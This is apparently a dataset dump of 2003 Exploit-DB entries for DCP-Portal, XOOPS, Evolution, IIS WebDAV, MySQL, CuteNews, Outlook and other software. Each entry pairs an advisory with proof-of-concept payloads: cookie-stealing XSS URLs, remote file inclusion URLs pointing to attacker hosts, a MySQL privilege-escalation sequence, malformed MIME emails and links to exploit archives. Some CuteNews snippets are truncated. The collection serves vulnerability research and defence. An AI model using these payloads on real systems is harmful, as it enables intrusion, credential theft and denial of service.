QLWD/code_shield huggingface dataset:
标题: DCP-Portal 5.3.1 - 'calendar.php' Cross-Site Scripting EDB-ID: 22387 CVE: 2003-1536 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/7144/info

It has been reported that DCP-Portal does not sufficiently filter URI parameters supplied to the DCP-Portal 'calender' script. 

As a result of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running DCP-Portal. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect DCP-Portal version 5.3.1, it is not currently known if other versions are affected.

http://www.example.com/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05 URL: https://www.exploit-db.com/exploits/22387
标题: XOOPS 2.0 XoopsOption - Information Disclosure EDB-ID: 22389 CVE: 2003-1550 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/7149/info

XOOPS has been reported vulnerable to an information disclosure vulnerability. According to the report, path information and other sensitive data may be output in server error messages. Information obtained in this manner may be used by an attacker to launch further attacks against a vulnerable system. This vulnerability was reported to affect XOOPS version 2.0. It is not currently known if other versions are affected.

http://www.example.com/index.php?xoopsOption=any_word URL: https://www.exploit-db.com/exploits/22389
标题: GNOME Eye Of Gnome 1.0.x/1.1.x/2.2 - Format String EDB-ID: 22376 CVE: 2003-0165 类型: LOCAL 平台: LINUX 发布日期: 2003-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/7121/info

GNOME Eye of Gnome (EOG) image viewer is prone to a format string vulnerability. This condition may lead to execution of arbitrary code if malicious format specifiers are supplied to the program via the command line. As some utilities may be configured to invoke EOG as the handler for images through a mailcap entry, this may allow for local privilege escalation or possibly remote exploitation.

$ /usr/bin/eog this_is_an_invalid_file_%n%n URL: https://www.exploit-db.com/exploits/22376
标题: Mambo Site Server 4.0.10 - 'index.php' Cross-Site Scripting EDB-ID: 22382 CVE: 2003-1203 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7135/info

Mambo Site Server has been reported prone to a cross-site scripting vulnerability.

It has been reported that certain user supplied URI parameters are not sufficiently sanitized by the Mambo Site Server. As a result of this deficiency an attacker may create a specially crafted URL that includes malicious HTML code passed to the index page used by Mambo Site server. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect Mambo Site Server version 4.0.10 it is not currently known if other versions are affected.

http://www.example.com/index.php?option=search&searchword=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/22382
标题: SIPS 0.2.2 - User Information Disclosure EDB-ID: 22381 CVE: 2003-1553 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7134/info

It has been reported that authentication is not required to view user account information. As a result, an unauthorized remote attacker may be able to view potentially sensitive information. This may aid in launching further attacks against a target user or system.

http://www.example.com/[sips_directory]/sipssys/users/[first_letter_of_UserID]/ URL: https://www.exploit-db.com/exploits/22381
标题: MyABraCaDaWeb 1.0 - Full Path Disclosure EDB-ID: 22378 CVE: 2003-1548 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7126/info

MyABraCaDaWeb is reported to disclose path information in error messages when handling some invalid requests. This information could be useful in further attacks against a system hosting the software.

http://www.example.com/index.php?IDAdmin=test

http://www.example.com/index.php?base=test

http://www.example.com/index.php?tampon=test

http://www.example.com/index.php?SqlQuery=test URL: https://www.exploit-db.com/exploits/22378
标题: Ximian Evolution 1.x - UUEncoding Denial of Service EDB-ID: 22370 CVE: 2003-0128 类型: DOS 平台: LINUX 发布日期: 2003-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7118/info

A vulnerability has been discovered in the Ximian Evolution Mail User Agent (MUA). The problem occurs when the mailer attempts to process a maliciously encoded e-mail message. When attempting to decode the message, the MUA will repeatedly attempt to allocate memory, resulting in system resource exhaustion and will eventually crash.

This vulnerability affects Ximian Evolution version 1.2.2 and earlier.

From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit

begin 600 phase2
M8F5G:6X@-C P('!H87-E,0I-.$8U1SHV6$ M0R!0*"<Q13XG,"HS,RA&+310
M6RE%42 N,SQ9,3-1)S$T*%LU0R4Y*E0I.#-"*2 R,D19"DTP0B4Y+E4\5# C
M138W-3!(*5,E+RHB/%$R(TA7*R0@7"E%52DN5#Q0,T!)+2I4*$$V,TTW+20M7#%#,2 *32\D.%4P,T1',20@72E%42 O,SQ-,3) 1"LR7%0Q(S$@+$,Q-2PC
M(%0K,S!(+$(Q(2A$(2DQ4TTR*#1 6 I-+4)5*R)$-$@I5#4O+S,\23131%8T
M-#A(+$(Q(2A$(2DU4U4W+R186#5%53(N,SQ-,3-!-RTU*%HM4R4Y"C,J5#A-
?,U-,4#(B2$(P(B! (D(@*CDV640B0" @"B *96YD"@

end
--=-mTDu5zdJIsixETTwCF5Y-- URL: https://www.exploit-db.com/exploits/22370
标题: Ximian Evolution 1.x - MIME image/* Content-Type Data Inclusion EDB-ID: 22371 CVE: 2003-0130 类型: REMOTE 平台: LINUX 发布日期: 2003-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/7119/info

Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.

The following example will cause heap corruption:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello

Hello World!

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will bypass the "Don't connect to remote hosts to fetch images" option:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart

<img src="http://external.host.com:anyport">

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will cause Evolution to invoke the bonobo-audio-ulaw component:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong

There she was, just walking down the street...

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y URL: https://www.exploit-db.com/exploits/22371
标题: Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Remote Buffer Overflow (4) EDB-ID: 22368 CVE: 2003-0109 类型: REMOTE 平台: WINDOWS 发布日期: 2003-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7116/info
  
The Windows library ntdll.dll includes a function that does not perform sufficient bounds checking. The vulnerability is present in the function "RtlDosPathNameToNtPathName_U" and may be exploited through other programs that use the library if an attack vector permits it. One of these programs is the implementation of WebDAV that ships with IIS 5.0. The vector allows for the vulnerability in ntdll.dll to be exploited by a remote attacker.
  
Several other library functions which call the vulnerable ntdll.dll procedure have been identified. Administrators are advised to patch as other attack vectors are likely to surface.
  
** Microsoft has revised its advisory to state that this vulnerability affects Windows NT systems. As Windows NT does not support WebDAV, exploits using WebDAV as the attack vector will not be effective against Windows NT systems. Windows XP does not also include WebDAV by default, but other attack vectors may be possible, especially in cases where the attacker has interactive access to the system. WebDAV may be installed by a user on Windows XP with IIS 5.1, so WebDAV may be a possible means of exploitation in these circumstances.
  
** Reports suggest that numerous hosts have been scanned in an attempt to exploit this vulnerability. Although unconfirmed, this may be the result of a system of automated attacks.
  
** It has been reported that this vulnerability is also present in the "RtlGetFullPathName_U" function. The supplied Microsoft patch (Q815021) also corrects this function.
  
** It has been reported that the W32.Welchia.Worm, described in MCID 1811, is actively exploiting this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22368.tar.gz URL: https://www.exploit-db.com/exploits/22368
标题: Ximian Evolution 1.x - UUEncoding Parsing Memory Corruption EDB-ID: 22369 CVE: 2003-0129 类型: REMOTE 平台: LINUX 发布日期: 2003-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7117/info

The Evolution mail client supports "uuencoded" content and decodes it automatically when a message is initially parsed. A memory corruption error is present in the parsing component that can result in the client crashing when specially malformed content is decoded. The presence of such a message in an Evolution user's mailbox may result in a prolonged denial of service as the crashing of the GUI may prevent deletion of the message. The user will also not be able to read messages while the message is present in their mailbox. It is not yet determined whether this vulnerability may be exploited by remote attackers to compromise client hosts. Users are advised to upgrade despite this uncertainty.

The following email will reproduce this vulnerability, note that
an empty line is required before and after the UUE header line.

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit

begin 600

end

--=-mTDu5zdJIsixETTwCF5Y-- URL: https://www.exploit-db.com/exploits/22369
标题: Microsoft IIS 5.0 (Windows XP/2000/NT 4.0) - WebDAV 'ntdll.dll' Remote Buffer Overflow (3) EDB-ID: 22367 CVE: 2003-0109 类型: REMOTE 平台: WINDOWS 发布日期: 2003-04-04 漏洞利用脚本: E-DB Note: Updated Exploit ~ https://www.exploit-db.com/exploits/22368/

source: https://www.securityfocus.com/bid/7116/info
 
The Windows library ntdll.dll includes a function that does not perform sufficient bounds checking. The vulnerability is present in the function "RtlDosPathNameToNtPathName_U" and may be exploited through other programs that use the library if an attack vector permits it. One of these programs is the implementation of WebDAV that ships with IIS 5.0. The vector allows for the vulnerability in ntdll.dll to be exploited by a remote attacker.
 
Several other library functions which call the vulnerable ntdll.dll procedure have been identified. Administrators are advised to patch as other attack vectors are likely to surface.
 
** Microsoft has revised its advisory to state that this vulnerability affects Windows NT systems. As Windows NT does not support WebDAV, exploits using WebDAV as the attack vector will not be effective against Windows NT systems. Windows XP does not also include WebDAV by default, but other attack vectors may be possible, especially in cases where the attacker has interactive access to the system. WebDAV may be installed by a user on Windows XP with IIS 5.1, so WebDAV may be a possible means of exploitation in these circumstances.
 
** Reports suggest that numerous hosts have been scanned in an attempt to exploit this vulnerability. Although unconfirmed, this may be the result of a system of automated attacks.
 
** It has been reported that this vulnerability is also present in the "RtlGetFullPathName_U" function. The supplied Microsoft patch (Q815021) also corrects this function.
 
** It has been reported that the W32.Welchia.Worm, described in MCID 1811, is actively exploiting this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22367.zip URL: https://www.exploit-db.com/exploits/22367
标题: Multitech RouteFinder 550 - Remote Memory Corruption EDB-ID: 22345 CVE: 2003-0125 类型: DOS 平台: MULTIPLE 发布日期: 2003-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/7067/info

A vulnerability has been discovered in Multitech RouteFinder 550 VPN firmware release 4.63 and earlier. The problem occurs due to insufficient bounds checking of data supplied in HTTP GET requests. By passing excessive data to the device it may be possible for a remote attacker to corrupt memory.

Successful exploitation of this bug may result in a denial of service, causing the device to crash. Although it has not been confirmed, it may also be possible for an attacker to exploit this issue to execute arbitrary commands.

GET /OPTIONS AAAAA..[Ax10001]..AAAAA.HTML
HTTP/1.1 URL: https://www.exploit-db.com/exploits/22345
标题: Man Program 1.5 - Unsafe Return Value Command Execution EDB-ID: 22344 CVE: 2003-0124 类型: LOCAL 平台: LINUX 发布日期: 2003-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/7066/info

It has been reported that the man program does not properly handle some types of input. When a man page is processed that could pose a potential security risk, the program reacts in a way that may open a window of opportunity for an attacker to execute arbitrary commands.

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh

echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$ URL: https://www.exploit-db.com/exploits/22344
标题: Clearswift MAILsweeper 4.x - MIME Attachment Filter Bypass EDB-ID: 22338 CVE: 2003-0121 类型: REMOTE 平台: WINDOWS 发布日期: 2003-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/7044/info

Clearswift MailSweeper does not properly process certain malformed MIME email message attachments. If the attachment does not contain a MIME-Version field, MailSweeper does not recognize the attachment as being an executable type. MailSweeper allows such attachments through, even if it is set to filter executable type file attachments from incoming email messages.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22338.zip URL: https://www.exploit-db.com/exploits/22338
标题: MySQL 3.23.x - 'mysqld' Local Privilege Escalation EDB-ID: 22340 CVE: 2003-0150 类型: LOCAL 平台: LINUX 发布日期: 2003-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/7052/info

A vulnerability has been discovered for MySQL that may allow the mysqld service to start with elevated privileges.

An attacker can exploit this vulnerability by creating a DATADIR/my.cnf that includes the line 'user=root' under the '[mysqld]' option section.

When the mysqld service is executed, it will run as the root user instead of the default user.

This may allow an attacker to obtain elevated privileges on a compromised system.

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT URL: https://www.exploit-db.com/exploits/22340
标题: HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure EDB-ID: 22319 CVE: 2002-1048 类型: REMOTE 平台: HARDWARE 发布日期: 2003-03-03 漏洞利用脚本: HP JetDirect J2552A/J2552B/J2591A/J3110A/J3111A/J3113A/J3263A/300.0 X Printer SNMP JetAdmin Device Password Disclosure Vulnerability

source: https://www.securityfocus.com/bid/7001/info

A problem with JetDirect printers could make it possible for a remote user to gain administrative access to the printer.

It has been reported that HP JetDirect printers leak the web JetAdmin device password under some circumstances. By sending an SNMP GET request to a vulnerable printer, the printer will return the hex-encoded device password to the requester. This could allow a remote user to access and change configuration of the printer. 

C:\>snmputil get example.printer public .1.3.6.1.4.1.11.2.3.9.1.1.13.0 URL: https://www.exploit-db.com/exploits/22319
标题: Invision Board 1.1.1 - 'ipchat.php' Remote File Inclusion EDB-ID: 22295 CVE: 2003-1385 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/6976/info

Invision Board is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data used in URI parameters of certain PHP pages.

Under some circumstances, it may be possible for remote attackers to influence the include path for a global configuration file to point to an external file on a remote server.

If the remote file is a malicious file, this vulnerability may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php URL: https://www.exploit-db.com/exploits/22295
标题: Axis Communications HTTP Server 2.x - Messages Information Disclosure EDB-ID: 22296 CVE: 2003-1386 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6980/info

It has been reported that the Axis Video Server does not properly secure sensitive information. Because of this, an attacker may be able to gather details about server operation and traffic that could lead to further attacks. 

http://www.example.com/support/messages URL: https://www.exploit-db.com/exploits/22296
标题: Apple QuickTime/Darwin Streaming Server 4.1.x - 'parse_xml.cgi' File Disclosure EDB-ID: 22312 CVE: 2003-1414 类型: REMOTE 平台: CGI 发布日期: 2003-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/6990/info

A file retrieval vulnerability has been reported for QuickTime/Darwin Streaming Server. The vulnerability exists due to insufficient sanitization of some parameters given to the parse_xml.cgi script. Information obtained in this manner may be used by an attacker to launch more organinzed attacks against a vulnerable system.

This vulnerability was tested on SS for Microsoft Windows systems. 

http://localhost:1220/parse_xml.cgi?filename=.../qtusers URL: https://www.exploit-db.com/exploits/22312
标题: CuteNews 0.88 - 'comments.php' Remote File Inclusion EDB-ID: 22285 CVE: 2003-1240 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6935/info
  
CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.
  
Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.
  
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server.

http://www.example.com/cutenews/comments.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------
  
/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?> URL: https://www.exploit-db.com/exploits/22285
标题: CuteNews 0.88 - 'shownews.php' Remote File Inclusion EDB-ID: 22283 CVE: 2003-1240 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6935/info

CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.

Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.

If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/cutenews/shownews.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------

/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?> URL: https://www.exploit-db.com/exploits/22283
标题: Microsoft Outlook2000/Express 6.0 - Arbitrary Program Execution EDB-ID: 22280 CVE: 2003-1378 类型: REMOTE 平台: WINDOWS 发布日期: 2003-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6923/info

Microsoft Outlook and Outlook Express may execute arbitrary programs through objects embedded in HTML email messages. When an email message or newsgroup message is viewed using Outlook, a temporary object is created in the Internet Explorer cache. The security zone of this cache should be set by Internet Explorer and is set to the Internet Zone by default.

It is possible to have an object embedded in an HTML message reference an executable file using a CODEBASE reference and non-zero CLASSID value. It may also be possible for an attacker to place a file in a known temporary folder and have it executed through this method.

An issue similar to this was reported for Internet Explorer (BID 3867). It appears that the issue was fixed for objects viewed in a web page through Internet Explorer, but not through HTML email viewed with Outlook or Outlook Express. 

<xml id=oExec> <security><exploit> <![CDATA[ <object id="oFile"
classid="clsid:11111111-1111-1111-1111"
code base="C:WINDOWSFTP.EXE"></object>]]></exploit></security></xml>
<SPAN dataFld=exploit dataFormatAs=html
dataSrc=#oExec></SPAN> URL: https://www.exploit-db.com/exploits/22280